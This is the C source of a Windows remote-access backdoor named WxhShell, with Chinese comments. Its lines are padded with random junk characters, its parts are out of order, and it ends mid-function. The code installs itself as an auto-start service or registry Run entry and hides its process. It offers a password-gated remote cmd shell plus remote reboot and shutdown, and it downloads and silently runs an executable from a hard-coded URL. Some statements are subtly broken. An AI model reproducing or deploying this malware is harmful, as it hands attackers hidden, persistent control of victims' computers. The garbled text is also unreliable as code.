    closesocket(wsh); S?&ntUah  
    ExitThread(0); %1S;y  
    } (2 X`imJ  
    break; tONxV`  
    } iCx}v[;Ol  
  // 关机 AFyf7^^k  
  case 'd': { VCtj8hKDr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kd2+k4@#  
    if(Boot(SHUTDOWN)) ZPHB$]ri  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JpN+'/  
    else { {qK>A?9  
    closesocket(wsh); )D Y?Y-n  
    ExitThread(0); 1O8RGk4  
    } ? 3Td>x  
    break; so1% MV  
    } ftRf~5d2  
  // 获取shell dG\dGSZ\h  
  case 's': { BTqY _9  
    CmdShell(wsh); !CUrpr/*  
    closesocket(wsh); a=Pl3Uo  
    ExitThread(0); du  Pzt  
    break; U2seD5I  
  } xwq {0jY  
  // 退出 /g@!#Dt  
  case 'x': { id'E_]r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J#"@~Q+a`@  
    CloseIt(wsh); ~0eJ6i  
    break; r1f##  
    } |4UW.dGHPo  
  // 离开 #A+ dj| b  
  case 'q': { g,*LP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @uApm~}  
    closesocket(wsh); <7-3j{065  
    WSACleanup(); 4vC { G.  
    exit(1); gy0l@ 5 N  
    break; /3{jeU.k  
        } .*+%-%CbP  
  } {94qsVxQZ  
  } O8qA2@,  
rZEL7{  
  // 提示信息 Dn1aaN6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f5'Cq)Vw_  
} < j^8L^  
  } ?U$H`[VF}  
A&XI1. j6  
  return; `ZhDoLpH<  
} 7b7@"Zw*  
8Th{(J_  
// shell模块句柄  [,JUC<  
int CmdShell(SOCKET sock) VXX7Y? !  
{ DvhJkdLB>  
STARTUPINFO si; }f45>@uMW  
ZeroMemory(&si,sizeof(si)); 8iQ8s;@S&>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ap,%)on^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; = wEU+R_#o  
PROCESS_INFORMATION ProcessInfo; _9*3Mr)2N  
char cmdline[]="cmd"; ^VabXGzo#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h)7hk*I  
  return 0; =MMU(0 E  
} |L wn<y  
?> )(;Ir9  
// 自身启动模式 u)J&3Ah%  
int StartFromService(void) 7XrXx:*a5  
{ \\}tD@V"  
typedef struct eb10=Lmj  
{ e*K1";  
  DWORD ExitStatus; l1 Nr5PT  
  DWORD PebBaseAddress; Q0l[1;$#  
  DWORD AffinityMask; X!6oviT|m  
  DWORD BasePriority; _!_%Afz  
  ULONG UniqueProcessId; apmZ&Ab  
  ULONG InheritedFromUniqueProcessId; \+3amkBe  
}   PROCESS_BASIC_INFORMATION; d^pzMaCI  
.Aj4?AXWc  
PROCNTQSIP NtQueryInformationProcess; H+lBb$  
O7,)#{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &-.NkW@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; HX}9;O  
f i#p('8  
  HANDLE             hProcess; $1KvL8  
  PROCESS_BASIC_INFORMATION pbi; cug=k  
ey!QAEg"X1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }*Z *wC  
  if(NULL == hInst ) return 0; uPh/u!  
3FetyW l'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xWR<>Og.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A-S!Z2m\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3pU/Z bb,:  
{&3{_Ml  
  if (!NtQueryInformationProcess) return 0; :9?y-X  
u?xXZ]_u-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L JW0UF|  
  if(!hProcess) return 0; ';,Rq9-'  
,;%F\<b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uz U2)n3y  
e:`d)GE  
  CloseHandle(hProcess); <e)u8+(  
Wy:xiP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v2K6y|6,  
if(hProcess==NULL) return 0; k z{_H`5.  
0Tp,b (; n  
HMODULE hMod; *gGL5<%T:  
char procName[255]; VelR8tjP  
unsigned long cbNeeded; ais@|s;  
crvq]J5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <?h,;]U  
dAba'|Y  
  CloseHandle(hProcess); lJ>OuSd  
n=_jmR1  
if(strstr(procName,"services")) return 1; // 以服务启动 v#X l  
F4:giu ht  
  return 0; // 注册表启动 ^ s.necg0  
} vXI2u;=y  
5oOF|IYi  
// 主模块 I l2`c}9  
int StartWxhshell(LPSTR lpCmdLine) ~Y)h[  
{ t?l0L1;  
  SOCKET wsl; ))9w)A@  
BOOL val=TRUE; Z4VNm1qs  
  int port=0; md S`nhb  
  struct sockaddr_in door; r P1FM1"M  
zLt7jxx  
  if(wscfg.ws_autoins) Install(); SN<Dxa8Iy  
u*"mdL2  
port=atoi(lpCmdLine); J}?:\y<  
QJ%[6S  
if(port<=0) port=wscfg.ws_port; -h%!#g  
z\g6E/%%  
  WSADATA data; yb4Jsk5%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LFwRTY,G  
$_5a1Lq1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D^-6=@<3KD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N0mP EF2  
  door.sin_family = AF_INET; #0uD&95<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $-*E   
  door.sin_port = htons(port);  "o{o9.w  
HzdyfZ!jR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qvHRP@  
closesocket(wsl); Bj1{=Pvl  
return 1; Or:a\qQ1  
} KB@F^&L {  
S!oG|%VuB#  
  if(listen(wsl,2) == INVALID_SOCKET) { \""sf{S9  
closesocket(wsl); :i};]pR   
return 1; I 7 B$X=  
} XLq%nVBM8\  
  Wxhshell(wsl); Ec4+wRWk85  
  WSACleanup(); P/?'ea  
c|hT\1XR,  
return 0; )1PjI9M  
m,|)$R  
} 0x1#^dII  
j t6q8  
// 以NT服务方式启动 KEfx2{k b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ex`!C]sQ  
{ 3v?R"2\qS  
DWORD   status = 0; aePLP  
  DWORD   specificError = 0xfffffff; #)7THx/=  
TQ`4dVaf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +=o?&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -1z<,IN+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )}|b6{{<  
  serviceStatus.dwWin32ExitCode     = 0; o?]N2e&(  
  serviceStatus.dwServiceSpecificExitCode = 0; wR@"]WkR=  
  serviceStatus.dwCheckPoint       = 0; :=cZ,?PQp1  
  serviceStatus.dwWaitHint       = 0; c7~>uNgJ  
@w[2 BaDt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3@*orm>em  
  if (hServiceStatusHandle==0) return; +$SJ@IH[<  
*p  !F+"  
status = GetLastError(); 4n5r<?rY  
  if (status!=NO_ERROR) G[4$@{  
{ #[LnDU8>9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -:]-g:;/  
    serviceStatus.dwCheckPoint       = 0; =ICakh!TO  
    serviceStatus.dwWaitHint       = 0; ;D>*Pzj  
    serviceStatus.dwWin32ExitCode     = status; !kG2$/lR  
    serviceStatus.dwServiceSpecificExitCode = specificError; $kD ;*v=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S#[w).7  
    return; ^6kE tTO*  
  } =F 9!)r  
}:zTz% _K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a?K3/0G  
  serviceStatus.dwCheckPoint       = 0; ZOIx+%/Vd#  
  serviceStatus.dwWaitHint       = 0;  O86[`,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %xuJQuCqf  
} knb 9s`wR  
A^3M~  
// 处理NT服务事件,比如:启动、停止 x(r~<a[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) PYhRP00}M  
{ 2M`:/shq  
switch(fdwControl) \#%1t  
{ q y\Z2k  
case SERVICE_CONTROL_STOP: W[4 V#&Z  
  serviceStatus.dwWin32ExitCode = 0;  |Ym3.hz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; umJ!j&(  
  serviceStatus.dwCheckPoint   = 0; 41oXOB  
  serviceStatus.dwWaitHint     = 0; Op>l~{{{  
  { 8?z7!k]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Eb.k:8?Tn  
  } @;1Ym\zc  
  return; gAxf5 A_x)  
case SERVICE_CONTROL_PAUSE: 1Ht&;V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kH|cB!?x  
  break; JQ"R%g` 8  
case SERVICE_CONTROL_CONTINUE: 0~( f<:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z6\H4,k&  
  break; >"?jW@|g  
case SERVICE_CONTROL_INTERROGATE: >\s8S}p  
  break; U9/6F8D1Y1  
}; p?idl`?^3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ih\=mB  
} ra]lC7<H  
15dbM/Gj  
// 标准应用程序主函数 2b89th  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E Z+L'  
{ 5N /NUs   
)z Hib;O  
// 获取操作系统版本 K Ml>~r  
OsIsNt=GetOsVer(); Y)*:'&~2e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X Z4q{^o  
7^<{aE:  
  // 从命令行安装 Nay&cOz  
  if(strpbrk(lpCmdLine,"iI")) Install(); S:YQVj  
dHO8 bYBH  
  // 下载执行文件 .sBwJZ  
if(wscfg.ws_downexe) { W^8MsdM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^=.QQo||B  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8%Eemk>G{  
} Ax{C ^u  
7%)KB4(\_  
if(!OsIsNt) { BH3%dh :9  
// 如果时win9x,隐藏进程并且设置为注册表启动 (JI[y"2  
HideProc();  J]4pPDm  
StartWxhshell(lpCmdLine); <%b a 3<sg  
} Z#znA4;)  
else T6^ H%;G  
  if(StartFromService()) "f N=Y$G  
  // 以服务方式启动 qS?uMms7w  
  StartServiceCtrlDispatcher(DispatchTable); $Si|;j$?  
else ==]BrhZK  
  // 普通方式启动 &|Cd1z#?  
  StartWxhshell(lpCmdLine); $ts1XIK%  
,(y6XUV~  
return 0; pr.+r?la]  
} 0hv}*NYd  
45aFH}w:  
ApSzkPv*  
^jB17z[  
=========================================== +.pri  
7M,(!*b  
-POsbb>  
eFXQ~~gOj  
S!6 ? b5  
9?38/2kX4  
" :c}"a(|  
u6MHdCJ0y  
#include <stdio.h> ]9hXiY  
#include <string.h> GJj}|+|  
#include <windows.h> P+<4w  
#include <winsock2.h> pSKw Xx  
#include <winsvc.h> ]@wKm1%v  
#include <urlmon.h> c\DMeYrg  
}-N4D"d4o  
#pragma comment (lib, "Ws2_32.lib") 5=hMTztf!!  
#pragma comment (lib, "urlmon.lib") n"g)hu^B  
3](At%ss  
#define MAX_USER   100 // 最大客户端连接数 %n)H(QPW  
#define BUF_SOCK   200 // sock buffer 5KgAY;|  
#define KEY_BUFF   255 // 输入 buffer @O9wit.  
Qr9@e Q1Pp  
#define REBOOT     0   // 重启 q5#6PYIq  
#define SHUTDOWN   1   // 关机 tFvXVfml  
6^NL>|?  
#define DEF_PORT   5000 // 监听端口 VxW>Xx G0  
\ IX|{]*D  
#define REG_LEN     16   // 注册表键长度 34c+70x7  
#define SVC_LEN     80   // NT服务名长度 G}LOQ7  
dj2w_:&W  
// 从dll定义API (;cKv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c0f8*O4i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rk8Cea  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =k\Qx),Ir  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y"Ios:v@-  
5a%i%+;N  
// wxhshell配置信息 ]QSQr *  
struct WSCFG { k< $(  
  int ws_port;         // 监听端口 ~@d4p|K  
  char ws_passstr[REG_LEN]; // 口令 `b*x}HP$  
  int ws_autoins;       // 安装标记, 1=yes 0=no +HkEbR'G0  
  char ws_regname[REG_LEN]; // 注册表键名 w[]\%`69}Z  
  char ws_svcname[REG_LEN]; // 服务名 7RCVqc"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4WXr~?Vq9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TH>7XK<90M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KmpKyc[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =z*SzG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  N~vK8j@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OICH:(t_  
MmH(dp+  
}; Y$0K}`{  
[oG Sy5bB  
// default Wxhshell configuration "?S> }G\  
struct WSCFG wscfg={DEF_PORT, Rc(E';uc  
    "xuhuanlingzhe", 7;@o]9W  
    1, <tgfbY^nL  
    "Wxhshell", nj=nSD  
    "Wxhshell", k2:mIp\  
            "WxhShell Service", OLE@35"v]  
    "Wrsky Windows CmdShell Service", ;T3}#Q*qC  
    "Please Input Your Password: ", aE[:9{<|  
  1, kJ"}JRA<  
  "http://www.wrsky.com/wxhshell.exe", 4vyJ<b  
  "Wxhshell.exe" ) ^ 7- qy  
    }; _#y=T20'3  
<,</ Ge  
// 消息定义模块 0) Q*u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S.|%dz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }WnoI2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; chXTFLC~  
char *msg_ws_ext="\n\rExit."; UHS{X~CS e  
char *msg_ws_end="\n\rQuit."; p+}eP|N  
char *msg_ws_boot="\n\rReboot..."; d6ckvD[  
char *msg_ws_poff="\n\rShutdown..."; gr\vC  
char *msg_ws_down="\n\rSave to "; RU+F~K<  
Sh(XFUJ  
char *msg_ws_err="\n\rErr!"; {nH*Wu*^  
char *msg_ws_ok="\n\rOK!"; .6A{   
suE#'0K  
char ExeFile[MAX_PATH]; g?{7DI`  
int nUser = 0; FF~VV<a  
HANDLE handles[MAX_USER]; \me-#: Gu  
int OsIsNt; N**" u"CX  
j$Vtd &  
SERVICE_STATUS       serviceStatus; xPMX\aI|l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i+~H~k}"X  
@T)>akEOt  
// 函数声明 YzYj/,?r  
int Install(void); /Y8{?  
int Uninstall(void); }u.1$Y  
int DownloadFile(char *sURL, SOCKET wsh); E[M.q;rM  
int Boot(int flag); G$1gk^G's  
void HideProc(void); 5](,N^u{):  
int GetOsVer(void); #Kt5+"+7  
int Wxhshell(SOCKET wsl); v7mg8'  
void TalkWithClient(void *cs); uZ+vYF^  
int CmdShell(SOCKET sock); BV eIj }  
int StartFromService(void); VE*& t>I  
int StartWxhshell(LPSTR lpCmdLine); Xagz(tm/  
VV"1IR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9` G}GU]@}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !uN_<!  
FmhN*ZXr #  
// 数据结构和表定义 z6'l" D'h  
SERVICE_TABLE_ENTRY DispatchTable[] = :PP!v!vk  
{ DHh30b$c  
{wscfg.ws_svcname, NTServiceMain}, ;k8U5=6a  
{NULL, NULL} 3`{[T17  
}; cLm{gd4 W  
0b+End#mp  
// 自我安装 J>^KQ  
int Install(void) e@L?jBj8m  
{ %J :2y  
  char svExeFile[MAX_PATH]; 4H hQzVM{  
  HKEY key; I=|}%WO#  
  strcpy(svExeFile,ExeFile); H#B97IGT  
l%v2O'h  
// 如果是win9x系统,修改注册表设为自启动 vR'rYDtU@  
if(!OsIsNt) { 0ae}!LO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \g:Bg%43h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gkld}t*U  
  RegCloseKey(key); @^^,VgW[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tV9K5ON  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ya'OI P `  
  RegCloseKey(key); no8FSqLUS~  
  return 0; B8 R&Q8Q  
    } ci`N ,&:R  
  } ^spASG -o  
} CxJH)H$  
else { mH7Mch| m  
h;t5v6["  
// 如果是NT以上系统,安装为系统服务 Kr74|W=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rB.LG'GG]  
if (schSCManager!=0) W(jP??up  
{ ])mYE }g  
  SC_HANDLE schService = CreateService )k&!&  
  ( B/b S:  
  schSCManager, z+X DN:  
  wscfg.ws_svcname, ~jM!8]=  
  wscfg.ws_svcdisp, Yjix]lUXVf  
  SERVICE_ALL_ACCESS, X XC(R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U[c^xz&  
  SERVICE_AUTO_START, jmva0K},SE  
  SERVICE_ERROR_NORMAL, 99?: 9g  
  svExeFile, P~u~`eH*  
  NULL, CO"Nv  
  NULL, kqp*o+Oz',  
  NULL, ~k/GmH  
  NULL, 8% `Jf`  
  NULL 3<ry/{#%  
  ); ( 2i{8  
  if (schService!=0) Y1L7sH 9  
  { 0 A6% !h  
  CloseServiceHandle(schService); 7A4_b8  
  CloseServiceHandle(schSCManager); K5:>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Lb%:u5X\D@  
  strcat(svExeFile,wscfg.ws_svcname); W3Dtt-)E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { DeGcS1_?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hV[=  
  RegCloseKey(key); Ib0@,yS[  
  return 0; ^Mi&2AvS  
    } E~eSHJ(oR7  
  } p^9u8T4l1  
  CloseServiceHandle(schSCManager); o 9{~F`{p  
} hT[w" &3  
} TW~9<c  
IjnO2X  
return 1; Qj(|uGqm3  
} FAF+}  
lb[\Lzdvmu  
// 自我卸载 W5zlU2  
int Uninstall(void) UN7J6$!Cx7  
{ ^HI}bS1+|  
  HKEY key; wsyAq'%L  
b%D}mxbS  
if(!OsIsNt) { ky |Py  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h-=lZ~W~  
  RegDeleteValue(key,wscfg.ws_regname); t.= 1<Ed  
  RegCloseKey(key); 88M$mjx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6@cT;=W;xj  
  RegDeleteValue(key,wscfg.ws_regname); w[?E oFI$Y  
  RegCloseKey(key); LM?UV)  
  return 0; TaE&8;H#N  
  } ~t.M!vk  
} 7&{[Y^R]"  
} D+69U[P_A  
else { 8^av&u$  
5_= HtM[v]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6 xAR:  
if (schSCManager!=0) V~_aM@q1  
{ Tq`rc"&7u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !%Qm{R  
  if (schService!=0) qo62!q  
  { >Sua:Uff  
  if(DeleteService(schService)!=0) { $ru()/pI)z  
  CloseServiceHandle(schService); fKjUEMRK  
  CloseServiceHandle(schSCManager); oJbMUEQQq  
  return 0; ]Z#=w  
  } MNZD-[  
  CloseServiceHandle(schService); 9#ZR0t.cY  
  } Ph|\%P`>%  
  CloseServiceHandle(schSCManager); PcQqdU^!  
} nK;c@!~pS  
} EG3?C  
Zh,{e/j  
return 1; |*-&x:p7O  
} wSd o 7Lb  
QocR)aN=+  
// 从指定url下载文件 Qg' {RAV8  
int DownloadFile(char *sURL, SOCKET wsh) (2fWJ%7VG  
{ Rw#4 |&  
  HRESULT hr; c2d=dGP>~f  
char seps[]= "/"; Hj^_Cp]@*  
char *token; y7WO:X&  
char *file; Aq:1  
char myURL[MAX_PATH]; `UDB9Ca  
char myFILE[MAX_PATH]; GI$7uR}  
/ 1R` E9  
strcpy(myURL,sURL); t>izcO  
  token=strtok(myURL,seps); 1# -=|:U  
  while(token!=NULL) %`1 p8>n  
  { tsvh/)V  
    file=token; Uel^rfE`  
  token=strtok(NULL,seps); T\Ld)'fNv  
  } K,Z_lP_~Vw  
i $:QOMA  
GetCurrentDirectory(MAX_PATH,myFILE); M h5>@-fEE  
strcat(myFILE, "\\"); A9L {c!|-  
strcat(myFILE, file); F ;;\I  
  send(wsh,myFILE,strlen(myFILE),0); %an&lcoX  
send(wsh,"...",3,0); N% W298  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Uc<j{U ,  
  if(hr==S_OK) c-gpO|4>  
return 0; POtwT">z  
else 6o!Y^^/U  
return 1; V'jvI  
5fqQ;r  
} "hi)p9 _cR  
HE0@`(mCpa  
// 系统电源模块 98x&2(N  
int Boot(int flag) >p;cbp[ht  
{ :]g>8sWL  
  HANDLE hToken; 0k\BE\PQk  
  TOKEN_PRIVILEGES tkp; 1L\\](^ 3  
#2\ 0#HN  
  if(OsIsNt) { xpjv @P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aHdXlmL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3(n+5~{e  
    tkp.PrivilegeCount = 1; <1(j&U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =@E X!]=x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (h3f$  
if(flag==REBOOT) { Oj?  |g_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *8?0vkZZ2  
  return 0; J;AwC>N  
} Y3RaR 9  
else { W+&<C#1|]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) FT/STI  
  return 0; u|}p3-z|Y  
} RC>79e/u<  
  } G&2`c\u{  
  else { ;H;c Sn5uL  
if(flag==REBOOT) { AYnk.H-v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :497]c3#5C  
  return 0; {i09e1  
} ? f\ ~:Gm/  
else { Nxd<#p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?@uyqi~:U  
  return 0; i,z^#b7JQ  
} #Z)8,N  
} l k?@ =U~  
7)U08"  
return 1; (o5^@aDr  
} ?7]UbtW[  
/ 8 0Q  
// win9x进程隐藏模块 2Sg^SZFH+o  
void HideProc(void) ,/uVq G  
{ 0 P]+/  
v3 q.,I_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nS5g!GYY,k  
  if ( hKernel != NULL ) b|KlWt'  
  { f0 d*%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n B .?=eUa  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <bbC &O\  
    FreeLibrary(hKernel); z +NwGVk3  
  } jf WZLb)  
b|'{f?  
return; ,K>q{H^  
} 4[o/p8*/  
(SnrY O`#  
// 获取操作系统版本 kl0|22"Gz  
int GetOsVer(void) 6myF!  H=  
{ (n+FEE<  
  OSVERSIONINFO winfo; @3_[NI%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jMV9r-{*+  
  GetVersionEx(&winfo);  ZFH;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 94CHxv  
  return 1; #i1z&b#@  
  else yy(.|  
  return 0; "gCqb;^  
} CL)*cu6zG  
N" =$S|Gs  
// 客户端句柄模块 9-( \\$%  
int Wxhshell(SOCKET wsl) ]QJWqY  
{ ![l`@NH[U  
  SOCKET wsh; 2C59fXfd  
  struct sockaddr_in client; vkgAI<  
  DWORD myID; Wn kIi,<  
\]y /EOT  
  while(nUser<MAX_USER) KW 78J~u+  
{ u4QBD5T"  
  int nSize=sizeof(client); dum(T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (l ]_0-Z  
  if(wsh==INVALID_SOCKET) return 1; zS<idy F`  
px>g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |iLf;8_:  
if(handles[nUser]==0) Rxfhk,I  
  closesocket(wsh); .FWi$B';  
else 5%K(tRc|  
  nUser++; ucwUeRw,  
  } kx.8VUoM V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]qPrXuS/  
)ld`2) 4  
  return 0;  Bl1^\[#  
} 4u}jkd$]*  
o_@6R"|  
// 关闭 socket >5c38D7k)  
void CloseIt(SOCKET wsh) jM'(Qa  
{ C=zc6C,  
closesocket(wsh); XRx^4]c  
nUser--; :|PI_ $4H  
ExitThread(0); N*NGC!p`N  
} $z[r (a^a  
kX8Ey  
// 客户端请求句柄 L+N;mI8  
void TalkWithClient(void *cs) 5`QN<4?%  
{ uJ9 hU`h  
4ynGXJmMlR  
  SOCKET wsh=(SOCKET)cs; U6K!FOND  
  char pwd[SVC_LEN]; h( MNH6 B1  
  char cmd[KEY_BUFF]; (D~NW*,9  
char chr[1]; <Dq7^,}#  
int i,j; {wwkbc*  
e.l3xwt>$  
  while (nUser < MAX_USER) { t}x^*I$*  
mVVL[z2+  
if(wscfg.ws_passstr) { sOb=+u$$9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m(rd\3d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^W*3S[-`g  
  //ZeroMemory(pwd,KEY_BUFF); 2}xvM"k=k  
      i=0; =OR "Bd:O  
  while(i<SVC_LEN) { ?j|i|WUD  
+ )lkHv$R  
  // 设置超时 j3&tXZ;F  
  fd_set FdRead; ~;D5j) 9I  
  struct timeval TimeOut; sB+ B,DF  
  FD_ZERO(&FdRead); Y'eE({)<K  
  FD_SET(wsh,&FdRead); s_RUb  
  TimeOut.tv_sec=8; rOA{8)jIa*  
  TimeOut.tv_usec=0; gl>%ADOB@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;{:bq`56f  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f*E#E=j  
gt|:K)[,6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q)QM+4  
  pwd=chr[0]; RM6*c .  
  if(chr[0]==0xd || chr[0]==0xa) { 9~ r YLR(v  
  pwd=0; 8L _]_  
  break; M%"{OHj!o  
  } ^\3r}kJ0Lp  
  i++; 7AuzGA0y  
    } 1%Su~Z"W>  
|Q*OA  
  // 如果是非法用户,关闭 socket HBiUp$(mB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nz_1Fu>g|  
} >(BAIjF E\  
:/~TV   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CEEAyip-c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k@Mt8Ln  
\I+#M-V  
while(1) { =PAsyj  
q:vc ;y  
  ZeroMemory(cmd,KEY_BUFF); W`gzMx  
fZNe[|  
      // 自动支持客户端 telnet标准   k#DMd9  
  j=0; mr<camL5  
  while(j<KEY_BUFF) { @l %x;`E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y\@INA^  
  cmd[j]=chr[0]; 1T/ 72+R0  
  if(chr[0]==0xa || chr[0]==0xd) { r"bV{v  
  cmd[j]=0; 4ztU) 1  
  break; \Jm^XXgS  
  } >})W5Y+  
  j++; z 8y.@<6  
    } y41,T&ja  
5Zy%Nam'gN  
  // 下载文件 W+`T:Mgh  
  if(strstr(cmd,"http://")) { $c1xh.  
